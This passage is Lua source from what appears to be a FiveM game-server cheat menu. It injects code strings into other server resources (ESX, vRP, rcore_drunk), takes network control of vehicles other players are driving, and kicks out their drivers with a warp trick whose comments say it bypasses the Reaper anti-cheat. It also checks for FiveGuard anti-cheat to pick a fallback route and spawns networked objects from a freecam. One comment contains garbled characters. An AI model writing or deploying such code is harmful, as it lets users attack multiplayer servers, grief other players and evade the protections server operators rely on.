GetEntityHeading(player) -- Put player in driver seat first SetPedIntoVehicle(player, vehicle, -1) Wait(1000) -- Request control using bypass method RequestControlDirect(vehicle) Wait(200) -- Restore player to original location SetEntityCoords(player, myCoords.x, myCoords.y, myCoords.z, false, false, false, true) SetEntityHeading(player, originalHeading) end) -- Create ped driver CreateThread(function() Wait(2000) -- Wait for control request and player removal to complete -- Verify vehicle still exists if not DoesEntityExist(vehicle) then return end -- Wait a bit more if player is still in vehicle local attempts = 0 while GetVehiclePedIsIn(player, false) == vehicle and attempts < 20 do Wait(100) attempts = attempts + 1 end local pedmodel = GetEntityModel(player) local vehicleCoords = GetEntityCoords(vehicle) if IsVehicleSeatFree(vehicle, -1) and GetVehicleEngineHealth(vehicle) > 0 then if LoadModel(pedmodel) then rcent = CreatePed(21, pedmodel, vehicleCoords.x, vehicleCoords.y, vehicleCoords.z, 0.0, false, false) SetPedRandomComponentVariation(rcent, false) SetPedRandomProps(rcent) SetPedAlertness(rcent, 0.0) SetPedIntoVehicle(rcent, vehicle, -1) SetVehicleEngineOn(vehicle, true, true) SetModelAsNoLongerNeeded(pedmodel) end end end) -- Main control loop CreateThread(function() Wait(2500) -- Wait for ped to be created and seated (2000ms + 500ms buffer) -- Wait for ped to actually be in vehicle local waitAttempts = 0 while (not rcent or not DoesEntityExist(rcent) or GetVehiclePedIsIn(rcent, false) ~= vehicle) and waitAttempts < 50 do Wait(100) waitAttempts = waitAttempts + 1 end -- If ped wasn't created or seated, exit if not rcent or not DoesEntityExist(rcent) or GetVehiclePedIsIn(rcent, false) ~= vehicle then g_RemoteControlActive = false return end while g_RemoteControlActive do Wait(0) if not rcent or not DoesEntityExist(rcent) or not DoesEntityExist(vehicle) then break end local players = GetActivePlayers() for i = 1, #players do local ply = players[i] NetworkOverrideReceiveRestrictions(ply, true) NetworkOverrideSendRestrictions(ply, true) end SetGameplayCamFollowPedThisUpdate(rcent) SetFocusEntity(rcent) RequestCollisionAtCoord(GetEntityCoords(rcent)) DisableAllControlActions(0) EnableControlAction(0, 1, true) -- Mouse X EnableControlAction(0, 2, true) -- Mouse Y EnableControlAction(0, 24, true) -- Attack (to exit) EnableControlAction(0, 25, true) -- Aim DisablePlayerFiring(player, true) -- Forward (W) if IsDisabledControlPressed(0, 129) and not IsDisabledControlPressed(0, 130) then TaskVehicleTempAction(rcent, vehicle, 9, 1) end -- Release throttle if IsDisabledControlJustReleased(0, 129) or IsDisabledControlJustReleased(0, 130) then TaskVehicleTempAction(rcent, vehicle, 6, 2500) end -- Backward (S) if IsDisabledControlPressed(0, 130) and not IsDisabledControlPressed(0, 129) then TaskVehicleTempAction(rcent, vehicle, 22, 1) end -- Left while reversing (A + S) if IsDisabledControlPressed(0, 89) and IsDisabledControlPressed(0, 130) then TaskVehicleTempAction(rcent, vehicle, 13, 1) end -- Right while reversing (D + S) if IsDisabledControlPressed(0, 90) and IsDisabledControlPressed(0, 130) then TaskVehicleTempAction(rcent, vehicle, 14, 1) end -- Brake (W + S) if IsDisabledControlPressed(0, 129) and IsDisabledControlPressed(0, 130) then TaskVehicleTempAction(rcent, vehicle, 30, 100) end -- Left while driving (A + W) if IsDisabledControlPressed(0, 89) and IsDisabledControlPressed(0, 129) then TaskVehicleTempAction(rcent, vehicle, 7, 1) end -- Right while driving (D + W) if IsDisabledControlPressed(0, 90) and IsDisabledControlPressed(0, 129) then TaskVehicleTempAction(rcent, vehicle, 8, 1) end -- Turn left (A only) if IsDisabledControlPressed(0, 89) and not IsDisabledControlPressed(0, 129) and not IsDisabledControlPressed(0, 130) then TaskVehicleTempAction(rcent, vehicle, 4, 1) end -- Turn right (D only) if IsDisabledControlPressed(0, 90) and not IsDisabledControlPressed(0, 129) and not IsDisabledControlPressed(0, 130) then TaskVehicleTempAction(rcent, vehicle, 5, 1) end -- Exit on X key (73) if IsDisabledControlJustPressed(0, 73) then g_RemoteControlActive = false break end end -- Cleanup if rcent and DoesEntityExist(rcent) then DeletePed(rcent) end ClearFocus() local players = GetActivePlayers() for i = 1, #players do local ply = players[i] NetworkOverrideReceiveRestrictions(ply, false) NetworkOverrideSendRestrictions(ply, false) end end) ]], vehicle, myCoords.x, myCoords.y, myCoords.z)) else print("^1[ERROR]: No vehicle found under cursor") end end end -- Drag Vehicle: Hold click to drag a single vehicle smoothly if hoveredOption == "Drag Vehicle" and IsDisabledControlJustPressed(0, 24) then if _G.NexusFreecamObject and DoesCamExist(_G.NexusFreecamObject) then local function RotationToDirection(rot) local z = math.rad(rot.z) local x = math.rad(rot.x) local num = math.abs(math.cos(x)) return vector3(-math.sin(z) * num, math.cos(z) * num, math.sin(x)) end local camCoords = GetCamCoord(_G.NexusFreecamObject) local rot = GetCamRot(_G.NexusFreecamObject, 2) local forward = RotationToDirection(rot) local rayLength = 1000.0 local targetPos = camCoords + forward * rayLength local rayHandle = StartShapeTestRay(camCoords.x, camCoords.y, camCoords.z, targetPos.x, targetPos.y, targetPos.z, -1, PlayerPedId(), 0) local _, hit, endCoords, _, entityHit = GetShapeTestResult(rayHandle) local targetVehicle = nil -- Find target vehicle from raycast if hit and entityHit ~= 0 and DoesEntityExist(entityHit) then if IsEntityAVehicle(entityHit) then targetVehicle = entityHit elseif IsEntityAPed(entityHit) then local veh = GetVehiclePedIsIn(entityHit, false) if veh and veh ~= 0 then targetVehicle = veh end end end -- Fallback: find closest vehicle to camera if not targetVehicle then local vehicles = GetGamePool('CVehicle') if vehicles then local closestDist = 50.0 for _, veh in ipairs(vehicles) do if DoesEntityExist(veh) then local dist = #(camCoords - GetEntityCoords(veh)) if dist < closestDist then closestDist = dist targetVehicle = veh end end end end end if targetVehicle and DoesEntityExist(targetVehicle) then local myCoords = GetEntityCoords(PlayerPedId()) local freecamObject = _G.NexusFreecamObject MachoInjectResource2(NewThreadNs, InjectionResource(), string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local GetPlayerPed = _G.GetPlayerPed or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local NetworkRequestControlOfEntity = _G.NetworkRequestControlOfEntity or function(...) end local NetworkHasControlOfEntity = _G.NetworkHasControlOfEntity or function(...) end local Wait = _G.Wait or Citizen.Wait or function(...) end local SetPedIntoVehicle = _G.SetPedIntoVehicle or function(...) end local ClearPedTasks = _G.ClearPedTasks or function(...) end local ClearPedTasksImmediately = _G.ClearPedTasksImmediately or function(...) end local CreateThread = _G.CreateThread or Citizen.CreateThread or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local SetEntityCoordsNoOffset = _G.SetEntityCoordsNoOffset or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local FreezeEntityPosition = _G.FreezeEntityPosition or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local TaskLeaveAnyVehicle = _G.TaskLeaveAnyVehicle or function(...) end local SetPedConfigFlag = _G.SetPedConfigFlag or function(...) end local SetEntityAsMissionEntity = _G.SetEntityAsMissionEntity or function(...) end local SetEntityCollision = _G.SetEntityCollision or function(...) end local SetEntityVelocity = _G.SetEntityVelocity or function(...) end local IsDisabledControlPressed = _G.IsDisabledControlPressed or function(...) end local GetPedInVehicleSeat = _G.GetPedInVehicleSeat or function(...) end local GetCamCoord = _G.GetCamCoord or function(...) end local GetCamRot = _G.GetCamRot or function(...) end local vehicle = %d local originalCoords = vector3(%.4f, %.4f, %.4f) local freecamObj = %d local function RotationToDirection(rot) local z = math.rad(rot.z) local x = math.rad(rot.x) local num = math.abs(math.cos(x)) return vector3(-math.sin(z) * num, math.cos(z) * num, math.sin(x)) end safeCall(CreateThread, function() local myPed = safeCall(PlayerPedId) safeCall(SetPedConfigFlag, myPed, 342, false) safeCall(SetPedConfigFlag, myPed, 252, true) safeCall(SetPedConfigFlag, myPed, 141, true) safeCall(SetPedConfigFlag, myPed, 144, true) -- Check for driver and kick using safeWarp pattern local driver = safeCall(GetPedInVehicleSeat, vehicle, -1) if driver and driver ~= 0 and safeCall(DoesEntityExist, driver) and driver ~= myPed then -- SafeWarp pattern to bypass Reaper safeCall(SetEntityVisible, myPed, false, false) safeCall(FreezeEntityPosition, myPed, true) safeCall(SetPedIntoVehicle, myPed, vehicle, -1) safeCall(Wait, 1000) -- Request control after warp safeCall(NetworkRequestControlOfEntity, vehicle) safeCall(Wait, 200) safeCall(ClearPedTasks, myPed) -- Leave and restore safeCall(TaskLeaveAnyVehicle, myPed, 0, 0) safeCall(Wait, 100) safeCall(ClearPedTasksImmediately, myPed) safeCall(SetEntityCoordsNoOffset, myPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, false) safeCall(FreezeEntityPosition, myPed, false) safeCall(SetEntityVisible, myPed, true, true) safeCall(ClearPedTasksImmediately, myPed) else -- No driver, just request control with safeWarp safeCall(SetEntityVisible, myPed, false, false) safeCall(FreezeEntityPosition, myPed, true) safeCall(SetPedIntoVehicle, myPed, vehicle, -1) safeCall(Wait, 1000) safeCall(NetworkRequestControlOfEntity, vehicle) safeCall(Wait, 200) safeCall(ClearPedTasks, myPed) safeCall(TaskLeaveAnyVehicle, myPed, 0, 0) safeCall(Wait, 100) safeCall(ClearPedTasksImmediately, myPed) safeCall(SetEntityCoordsNoOffset, myPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, false) safeCall(FreezeEntityPosition, myPed, false) safeCall(SetEntityVisible, myPed, true, true) end -- Now drag the vehicle while holding click local dragDistance = 15.0 while safeCall(IsDisabledControlPressed, 0, 24) do if not safeCall(DoesEntityExist, vehicle) then break end safeCall(SetEntityAsMissionEntity, vehicle, true, true) safeCall(SetEntityCollision, vehicle, false, false) -- Get current camera position and direction local camPos = safeCall(GetCamCoord, freecamObj) local camRotNow = safeCall(GetCamRot, freecamObj, 2) if camPos and camRotNow then local fwd = RotationToDirection(camRotNow) local dragPos = camPos + fwd * dragDistance safeCall(SetEntityCoordsNoOffset, vehicle, dragPos.x, dragPos.y, dragPos.z, false, false, false) safeCall(SetEntityVelocity, vehicle, 0.0, 0.0, 0.0) end safeCall(Wait, 0) end -- Release: restore collision if safeCall(DoesEntityExist, vehicle) then safeCall(SetEntityCollision, vehicle, true, true) safeCall(SetEntityAsMissionEntity, vehicle, false, false) safeCall(SetEntityVelocity, vehicle, 0.0, 0.0, 0.0) end end) ]], targetVehicle, myCoords.x, myCoords.y, myCoords.z, freecamObject)) end end end -- Spawn Object: Click once to trigger if hoveredOption == "Spawn Object" and IsDisabledControlJustPressed(0, 24) then local objectModel = ObjectList[CurrentObjectIndex] local canSpawn = true if canSpawn then local currentTime = GetGameTimer() local lastObjectSpawnTime = _G.lastObjectSpawnTime or 0 local objectCooldown = 1000 -- 1 second cooldown if currentTime - lastObjectSpawnTime < objectCooldown then canSpawn = false else _G.lastObjectSpawnTime = currentTime end end -- Only spawn if allowed if canSpawn then -- Get spawn coordinates from freecam local spawnCoords = nil if _G.NexusFreecamObject and DoesCamExist(_G.NexusFreecamObject) then local camCoords = GetCamCoord(_G.NexusFreecamObject) local camRot = GetCamRot(_G.NexusFreecamObject, 2) local function RotationToDirection(rot) local z = math.rad(rot.z) local x = math.rad(rot.x) local num = math.abs(math.cos(x)) return vector3(-math.sin(z) * num, math.cos(z) * num, math.sin(x)) end local forward = RotationToDirection(camRot) local dest = camCoords + forward * 500.0 local rayHandle = StartShapeTestRay(camCoords.x, camCoords.y, camCoords.z, dest.x, dest.y, dest.z, -1, PlayerPedId(), 0) local _, hit, hitCoords = GetShapeTestResult(rayHandle) spawnCoords = hit and hitCoords or (camCoords + forward * 10.0) else spawnCoords = GetEntityCoords(PlayerPedId()) end local executions = { ["rcore_drunk"] = function() local success, error = pcall(function() SafeInjectResourceRaw("rcore_drunk", string.format([[ local model = "%s" local coords = vector3(%.2f, %.2f, %.2f) local hash = type(model) == "string" and GetHashKey(model) or model RequestModel(hash) while not HasModelLoaded(hash) do Citizen.Wait(0) end local obj = CreateNetworkObject(model, coords) ]], objectModel, spawnCoords.x, spawnCoords.y, spawnCoords.z), "SpawnObject") end) if success then else end end, ["es_extended"] = function() local success, error = pcall(function() SafeInjectResourceRaw("es_extended", string.format([[ local coords = vector3(%.2f, %.2f, %.2f) ESX.Game.SpawnObject('%s', coords, function(object) end, true) ]], spawnCoords.x, spawnCoords.y, spawnCoords.z, objectModel), "SpawnObject") end) if success then else end end, ["vrp"] = function() local success, error = pcall(function() SafeInjectResourceRaw("vrp", string.format([[ local model = "%s" local coords = vector3(%.2f, %.2f, %.2f) local hash = GetHashKey(model) RequestModel(hash) local timeout = 0 while not HasModelLoaded(hash) and timeout < 500 do Citizen.Wait(10) timeout = timeout + 1 end if HasModelLoaded(hash) then local obj = CreateObject(hash, coords.x, coords.y, coords.z, true, true, false) if obj and DoesEntityExist(obj) then SetEntityAsMissionEntity(obj, true, true) SetEntityCollision(obj, true, true) SetModelAsNoLongerNeeded(hash) end end ]], objectModel, spawnCoords.x, spawnCoords.y, spawnCoords.z), "SpawnObject") end) if not success then end end, ["fallback"] = function() local success, error = pcall(function() SafeInjectResourceRaw(InjectionResource(), string.format([[ local CreateThread = _G.CreateThread or function(...) end local CreateObject = _G.CreateObject or function(...) end local GetHashKey = _G.GetHashKey or function(...) end local RequestModel = _G.RequestModel or function(...) end local HasModelLoaded = _G.HasModelLoaded or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local SetEntityAsMissionEntity = _G.SetEntityAsMissionEntity or function(...) end local SetModelAsNoLongerNeeded = _G.SetModelAsNoLongerNeeded or function(...) end local SetEntityCollision = _G.SetEntityCollision or function(...) end local Wait = _G.Wait or function(...) end CreateThread(function() local model = GetHashKey("%s") RequestModel(model) local timeout = 0 while not HasModelLoaded(model) and timeout < 500 do Wait(10) timeout = timeout + 1 end if HasModelLoaded(model) then local object = CreateObject(model, %.2f, %.2f, %.2f, true, true, false) if object and DoesEntityExist(object) then SetEntityAsMissionEntity(object, true, true) SetEntityCollision(object, true, true) SetModelAsNoLongerNeeded(model) _G.NexusSpawnedObjects = _G.NexusSpawnedObjects or {} table.insert(_G.NexusSpawnedObjects, object) end end end) ]], objectModel, spawnCoords.x, spawnCoords.y, spawnCoords.z), "SpawnObject") end) if not success then end end } local executed = false -- If FiveGuard and es_extended are running, force fallback immediately local fgFound = false for i = 0, GetNumResources() - 1 do local v = GetResourceByFindIndex(i) if v and GetResourceState(v) == "started" then if GetResourceMetadata(v, "ac", 0) == "fg" then fgFound = true break end end end if fgFound and GetResourceState("es_extended") == "started" and executions["fallback"] then executions["fallback"]() executed = true end -- Try ESX first if not executed and GetResourceState("es_extended") == "started" and executions["es_extended"] then executions["es_extended"]() executed = true end -- Try vRP next if not executed and GetResourceState("vrp") == "started" and executions["vrp"] then executions["vrp"]() executed = true end -- Try rcore_drunk next if not executed and GetResourceState("rcore_drunk") == "started" and executions["rcore_drunk"] then executions["rcore_drunk"]() executed = true end -- If no method was executed, use fallback if not executed then if executions["fallback"] then executions["fallback"]() executed = true else print("^1[ERROR]: No valid method found to spawn object") end end end end end end end) local showing = false local nestedMenus = {} _G.clientMenuShowing = false -- Start closed while true do -- Check if menu should be opened if _G.clientMenuShowing and not showing then showing = true initializeMenu() nestedMenus = {} -- Reset nested menus -- Always reset tabs when opening menu (even if already initialized) currentTabs = nil currentTabIndex = 0 activeMenu = originalMenu activeIndex = 1 breadcrumbPath = { "Home" } -- Reset UI tabs to main menu MachoSendDuiMessage(dui, json.encode({ action = 'setTabs', tabs = {"Main Menu"} })) MachoSendDuiMessage(dui, json.encode({ action = 'setTabIndex', index = 0 })) setCurrent() ---("Menu opened - reset to main") elseif not _G.clientMenuShowing and showing then showing = false closeMenu() ---("Menu closed") end -- ALWAYS disable controls when dialogs are active (even if menu isn't showing, like first time setup) if textInputActive or keySelectionActive or keybindSetupActive or firstTimeSetup then DisableAllControlActions(0) -- Handle Enter, Escape, Backspace, Delete ONLY if dialogs are active -- These are handled in handleKeyPress with proper priority, but we need to prevent menu navigation -- The actual key processing happens in handleKeyPress function with proper priority order end -- Check for first time setup and trigger key selection if firstTimeSetup and not keySelectionActive and dui then -- Send NUI focus message immediately for first time setup MachoSendDuiMessage(dui, json.encode({ action = "updateKeyboard", visible = true })) -- Open key selection for first time setup Wait(500) -- Small delay to ensure DUI is ready openKeySelection() end if showing and not isBusy then if not (textInputActive or keySelectionActive or keybindSetupActive or firstTimeSetup) then -- Enable mouse controls while disabling only specific actions EnableControlAction(0, 1, true) -- LookLeftRight (mouse) EnableControlAction(0, 2, true) -- LookUpDown (mouse) -- Disable only the toggle key and some specific actions DisableControlAction(0, selectedMenuControl or 11, true) DisableControlAction(0, 142, true) -- MeleeAttackAlternate DisableControlAction(0, 106, true) -- VehicleMouseControlOverride DisableControlAction(0, 57, true) -- F9 key (prevent game actions) DisableControlAction(0, 58, true) -- F10 key (prevent game actions) if isControlTriggeredVKey(187) then -- Arrow Down (supports holding) activeIndex = activeIndex + 1 if activeIndex > #activeMenu then activeIndex = 1 end setCurrent() Wait(20) -- Small delay to prevent double-triggers elseif isControlTriggeredVKey(188) then -- Arrow Up (supports holding) activeIndex = activeIndex - 1 if activeIndex < 1 then activeIndex = #activeMenu end setCurrent() Wait(20) -- Small delay to prevent double-triggers elseif isControlTriggeredVKey(189) then -- Left Arrow (for scroll and slider, supports holding) local activeData = activeMenu[activeIndex] if activeData.type == 'scroll' then local oldSelected = activeData.selected activeData.selected = activeData.selected - 1 if activeData.selected < 1 then activeData.selected = #activeData.options end setCurrent() if activeData.onChange then SafeCallback(activeData.onChange, activeData.options[activeData.selected]) end elseif activeData.type == 'slider' then activeData.value = math.max(activeData.min, activeData.value - 1) setCurrent() if activeData.onChange then SafeCallback(activeData.onChange, activeData.value) end end elseif isControlTriggeredVKey(190) then -- Right Arrow (for scroll and slider, supports holding) local activeData = activeMenu[activeIndex] if activeData.type == 'scroll' then local oldSelected = activeData.selected activeData.selected = activeData.selected + 1 if activeData.selected > #activeData.options then activeData.selected = 1 end setCurrent() if activeData.onChange then SafeCallback(activeData.onChange, activeData.options[activeData.selected]) end elseif activeData.type == 'slider' then activeData.value = math.min(activeData.max, activeData.value + 1) setCurrent() if activeData.onChange then SafeCallback(activeData.onChange, activeData.value) end end elseif IsDisabledControlPressed(191) then -- Enter (using FiveM control) local activeData = activeMenu[activeIndex] ---('Enter pressed on:', activeData.label, activeData.type) if activeData.type == 'submenu' then nestedMenus[#nestedMenus + 1] = { index = activeIndex, menu = activeMenu, label = activeData.label } if activeData.submenu then -- Regular submenu local cleanedLabel = cleanLabelForBreadcrumb(activeData.label) if cleanedLabel then table.insert(breadcrumbPath, cleanedLabel) end activeIndex = 1 activeMenu = activeData.submenu currentTabs = nil setCurrent() ---('Entered submenu:', activeData.label) elseif activeData.tabs then -- Tab-based submenu currentTabs = activeData.tabs -- Add to breadcrumb path local cleanedLabel = cleanLabelForBreadcrumb(activeData.label) if cleanedLabel then table.insert(breadcrumbPath, cleanedLabel) end -- Send tab names to UI immediately local tabNames = {} for _, tab in ipairs(currentTabs) do table.insert(tabNames, tab.name) end MachoSendDuiMessage(dui, json.encode({ action = 'setTabs', tabs = tabNames })) -- Restore previous tab state if it exists local saved = tabStateMap[activeData.label] if saved then currentTabIndex = math.min(saved.tab or 0, #currentTabs - 1) activeIndex = math.min(saved.index or 1, #currentTabs[currentTabIndex + 1].submenu) else currentTabIndex = 0 activeIndex = 1 end -- Set the tab index MachoSendDuiMessage(dui, json.encode({ action = 'setTabIndex', index = currentTabIndex })) activeMenu = currentTabs[currentTabIndex + 1].submenu -- Add current tab name to breadcrumb if currentTabs[currentTabIndex + 1] then table.insert(breadcrumbPath, currentTabs[currentTabIndex + 1].name) end setCurrent() ---('Entered tabbed menu:', activeData.label) elseif activeData.getSubMenu then -- Dynamic submenu isBusy = true local getSubMenuFunc = activeData.getSubMenu currentSubMenuRefresher = getSubMenuFunc isDynamicSubMenu = true getSubMenuFunc(function(setMenu) isBusy = false menuStateMap[activeData.label or ''] = activeIndex local restoreIndex = menuStateMap[activeData.label or ''] or 1 activeIndex = math.min(restoreIndex, #setMenu) if activeIndex < 1 then activeIndex = 1 end activeMenu = setMenu setCurrent() end) end else -- Handle other item types (button, checkbox, etc.) if activeData.type == 'button' then if activeData.onConfirm then SafeCallback(activeData.onConfirm) ---('Button executed:', activeData.label) end elseif activeData.type == 'checkbox' then activeData.checked = not activeData.checked setCurrent() if activeData.onConfirm then SafeCallback(activeData.onConfirm, activeData.checked) end ---('Checkbox toggled:', activeData.checked) elseif activeData.type == 'scroll' then if activeData.onConfirm then local selectedIndex = activeData.selected SafeCallback(activeData.onConfirm, activeData.options[selectedIndex]) end setCurrent() elseif activeData.type == 'slider' then if activeData.onConfirm then SafeCallback(activeData.onConfirm, activeData.value) end setCurrent() end end elseif isControlJustPressedVKey(44) and currentTabs then -- Q key for left tab -- Check if we're leaving a tab that should hide user info local currentTabName = currentTabs[currentTabIndex + 1] and currentTabs[currentTabIndex + 1].name or "" if currentTabName == "Model" or currentTabName == "Spawner" or currentTabName == "Car Spawner" then hideImageInSvelte() end currentTabIndex = currentTabIndex - 1 if currentTabIndex < 0 then currentTabIndex = #currentTabs - 1 end activeMenu = currentTabs[currentTabIndex + 1].submenu activeIndex = 1 -- Update breadcrumb with current tab name if #breadcrumbPath > 1 then breadcrumbPath[#breadcrumbPath] = currentTabs[currentTabIndex + 1].name updateBreadcrumb() end MachoSendDuiMessage(dui, json.encode({ action = 'setTabIndex', index = currentTabIndex })) setCurrent() Wait(100) elseif isControlJustPressedVKey(46) and currentTabs then -- E key for right tab -- Check if we're leaving a tab that should hide user info local currentTabName = currentTabs[currentTabIndex + 1] and currentTabs[currentTabIndex + 1].name or "" if currentTabName == "Model" or currentTabName == "Spawner" or currentTabName == "Car Spawner" then hideImageInSvelte() end currentTabIndex = currentTabIndex + 1 if currentTabIndex >= #currentTabs then currentTabIndex = 0 end activeMenu = currentTabs[currentTabIndex + 1].submenu activeIndex = 1 -- Update breadcrumb with current tab name if #breadcrumbPath > 1 then breadcrumbPath[#breadcrumbPath] = currentTabs[currentTabIndex + 1].name updateBreadcrumb() end MachoSendDuiMessage(dui, json.encode({ action = 'setTabIndex', index = currentTabIndex })) setCurrent() Wait(100) elseif IsDisabledControlPressed(194) and not textInputActive and not backspaceHandled then -- Backspace (using FiveM control) - only when NOT in text input local lastMenu = nestedMenus[#nestedMenus] if lastMenu then -- Check if we're leaving a submenu that should hide user info local currentMenuLabel = lastMenu.label or "" if currentMenuLabel == "Server" then -- Unselect player when leaving Server menu selectedPlayerId = nil if dui then MachoSendDuiMessage(dui, json.encode({ action = 'clearSelectedPlayer' })) end hideImageInSvelte() elseif currentMenuLabel == "Player" or currentMenuLabel == "Weapon" or currentMenuLabel == "Vehicle" then hideImageInSvelte() end -- Save tab state if we're leaving a tabbed menu if currentTabs then tabStateMap[lastMenu.label or ""] = { tab = currentTabIndex, index = activeIndex } end table.remove(nestedMenus) activeIndex = lastMenu.index or 1 activeMenu = lastMenu.menu -- ֳƒֲ°ֳ…ֲ¸ֳ¢ג‚¬ֲֳ‚ֲ¹ Reset tab state when going back -- Reset tab state when going back currentTabs = nil currentTabIndex = 0 -- Reset UI tabs back to Main Menu MachoSendDuiMessage(dui, json.encode({ action = 'setTabs', tabs = {"Main Menu"} })) MachoSendDuiMessage(dui, json.encode({ action = 'setTabIndex', index = 0 })) -- Remove breadcrumb items (remove tab name and menu name for tabbed menus) if #breadcrumbPath > 1 then table.remove(breadcrumbPath) -- Remove tab name if #breadcrumbPath > 1 then table.remove(breadcrumbPath) -- Remove menu name end end -- Reset dynamic menu state currentSubMenuRefresher = nil isDynamicSubMenu = false setCurrent() ---('Returned to previous menu, index:', activeIndex) else _G.clientMenuShowing = false ---('Menu closed via backspace') end end end end Wait(0) end end) -- Close CreateThread function end -- Close initializeMenuSystem function'